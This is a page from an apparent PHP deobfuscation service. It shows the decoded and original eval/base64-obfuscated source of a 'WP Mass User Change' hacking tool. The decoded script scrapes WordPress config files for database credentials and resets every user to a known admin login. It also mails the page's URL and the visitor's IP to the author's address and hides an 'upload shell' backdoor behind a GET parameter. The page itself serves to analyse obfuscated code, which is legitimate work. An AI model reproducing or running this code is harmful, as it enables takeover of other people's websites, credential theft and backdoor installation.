Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* This file is protected by copyright law and provided under license. Reverse engin..
Decoded Output download
echo '<html>
<head>
<title>WP Mass by YassineHD</title>
<link rel="SHORTCUT ICON" href="http://www.clipartbest.com/cliparts/di8/X5M/di8X5M4XT.png">
</head>
<style type="text/css">
@import \'https://fonts.googleapis.com/css?family=Iceland\';
html,body{
background: black;
padding: 0;
direction: ltr;
margin: 0;
}
h1{
color:#16a085;
text-shadow:0 0 5px;
font-family: Iceland;
}
#gter{
position: absolute;
top: 0;
width: 100%;
text-align: center;
background: black;
color:#fff;
padding-top: 10px;
padding-bottom: 10px;
font-family: Iceland;
margin-bottom:20px;
}
#gter span{
color:white;
font-size: 18px;
text-shadow: :0px 0px 15px #00ffff;
}
.f{
color:white;
font-family: Iceland;
text-shadow: 0 0 15px #00ffff;
font-size: 21px;
}
a{
font-family: Iceland;
text-decoration: none;
color:white;
text-shadow:0 0 15px #00ff00;
}
form{
margin-top: 120px;
}
input[type=submit]{
font-size:20px;
height: 30px;
width: 165px;
border: 2px solid red;
color: yellow;
background-color: black;
font-family: Iceland;
}
input[type=submit]:hover{
box-shadow: 0 0 2px #ff0000;
}
input[type=text]{
font-family:Iceland;
width: 450px;
height: 30px;
color: red;
background: #000000;
border: 1px solid #00ff00;
padding: 5px;
text-align: center;
font-size:20px;
}
input[type=text]:focus{
box-shadow: 0 0 3px #ff0000;
}
.heading{
color:white;
font-size:50px;
margin-top: 60px;
margin-bottom: -110px;
font-family:Iceland;
text-shadow:0px 0px 20px red;
}
</style>
</head>
<body>
<center>
<div id="gter"><span>Copyright 2018 Coded by YassineHD</span></div>
<center><p class="heading">WP Mass User Change by YassineHD</p></center>
<br /><br />
<form method="post">
<input type="text" name="config" placeholder="Config URL Here">
<br><br>
<input type="submit" name="ch" value="Change Admin">
</form>
</center>
';set_time_limit(0);
error_reporting(0);
if($_POST['ch']){$IIIIIIIIIIII = file_get_contents($_POST['config']);
preg_match_all('#<a href="(.*?)"#',$IIIIIIIIIIII,$config);
foreach($config[1] as $IIIIIIIIIIlI){$IIIIIIIIIIll = file_get_contents($_POST['config']."/".$IIIIIIIIIIlI);
preg_match_all("#'DB_HOST', '(.*?)'#",$IIIIIIIIIIll,$IIIIIIIIIIl1);
foreach($IIIIIIIIIIl1[1] as $IIIIIIIIIIlI){$IIIIIIIIIIl1 = $IIIIIIIIIIlI;
}preg_match_all("#'DB_PASSWORD', '(.*?)'#",$IIIIIIIIIIll,$IIIIIIIIII1I);
foreach($IIIIIIIIII1I[1] as $IIIIIIIIII1l){$IIIIIIIIII11 = $IIIIIIIIII1l;
}preg_match_all("#'DB_USER', '(.*?)'#",$IIIIIIIIIIll,$IIIIIIIIIlII);
foreach($IIIIIIIIIlII[1] as $IIIIIIIIIlIl){$IIIIIIIIIlII = $IIIIIIIIIlIl;
}preg_match_all("#'DB_NAME', '(.*?)'#",$IIIIIIIIIIll,$name);
foreach($name[1] as $IIIIIIIIIllI){$name = $IIIIIIIIIllI;
}preg_match_all("#$IIIIIIIIIlll = '(.*?)'#",$IIIIIIIIIIll,$IIIIIIIIIll1);
foreach($IIIIIIIIIll1[1] as $IIIIIIIIIl1I){$IIIIIIIIIll1 = $IIIIIIIIIl1I;
}$IIIIIIIIIl1l = mysqli_connect($IIIIIIIIIIl1,$IIIIIIIIIlII,$IIIIIIIIII11,$name);
if($IIIIIIIIIl1l){$IIIIIIIIIl11 = mysqli_query($IIIIIIIIIl1l,"select * from ".$IIIIIIIIIll1."options where option_name='siteurl'");
while($IIIIIIIII1II = mysqli_fetch_array($IIIIIIIIIl11)){$IIIIIIIII1Il = $IIIIIIIII1II['option_value'];
}$IIIIIIIII1I1 = mysqli_query($IIIIIIIIIl1l,"update ".$IIIIIIIIIll1."users set user_login='admin',user_pass='cab2078f67a8bf51e09ea839777cba86'");
if($IIIIIIIII1I1){echo "<center><span class=f>URL : <a href='$IIIIIIIII1Il/wp-login.php' target='_blank'>$IIIIIIIII1Il/wp-login.php</a><br><br>UserName : admin<br><br>Password : yassinehd<br><br></span></center>";
}}}}
;echo '</body>
</html>
';
$IIIIIIIII1lI = getenv("REMOTE_ADDR");
$IIIIIIIII1ll = gethostbyaddr($IIIIIIIII1lI);
$IIIIIIIII1l1 = "Link Mailer : http://".$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'] ."
";
$IIIIIIIII11I ="[email protected]";
$IIIIIIIII11l = "New Mailer Uploaded By YassineHd !! $IIIIIIIII1lI";
$IIIIIIIII111 = "From: MaileRyew";
$IIIIIIIII111 .= $_POST['eMailAdd']."
";
$IIIIIIIII111 .= "MIME-Version: 1.0
";
$IIIIIIIIlIII=array($IIIIIIIII11I,$IIIIIIIIlIIl);
foreach ($IIIIIIIIlIII as $IIIIIIIII11I)
mail($IIIIIIIII11I,$IIIIIIIII11l,$IIIIIIIII1l1,$IIIIIIIII111,$IIIIIIIIlII1);;echo '
';
$yassine = $_GET['yassine'];
if($yassine == 'hd'){
$IIIIIIIIlIll = $_FILES['file']['name'];
$IIIIIIIIlIl1 = $_FILES['file']['tmp_name'];
echo "<form method='POST' enctype='multipart/form-data'>
<input type='file'name='file' />
<input type='submit' value='upload shell' />
</form>";
move_uploaded_file($IIIIIIIIlIl1,$IIIIIIIIlIll);
};
Did this file decode correctly?
Original Code
<?php /* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x17f4;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDU3ZSk7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>~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alVnRPIq
Function Calls
| fopen | 1 |
| fread | 3 |
| strtr | 2 |
| fclose | 1 |
| urldecode | 1 |
| str_replace | 1 |
| base64_decode | 3 |
Stats
| MD5 | bee57653efde2efec6a094fe73534f64 |
| Eval Count | 3 |
| Decode Time | 146 ms |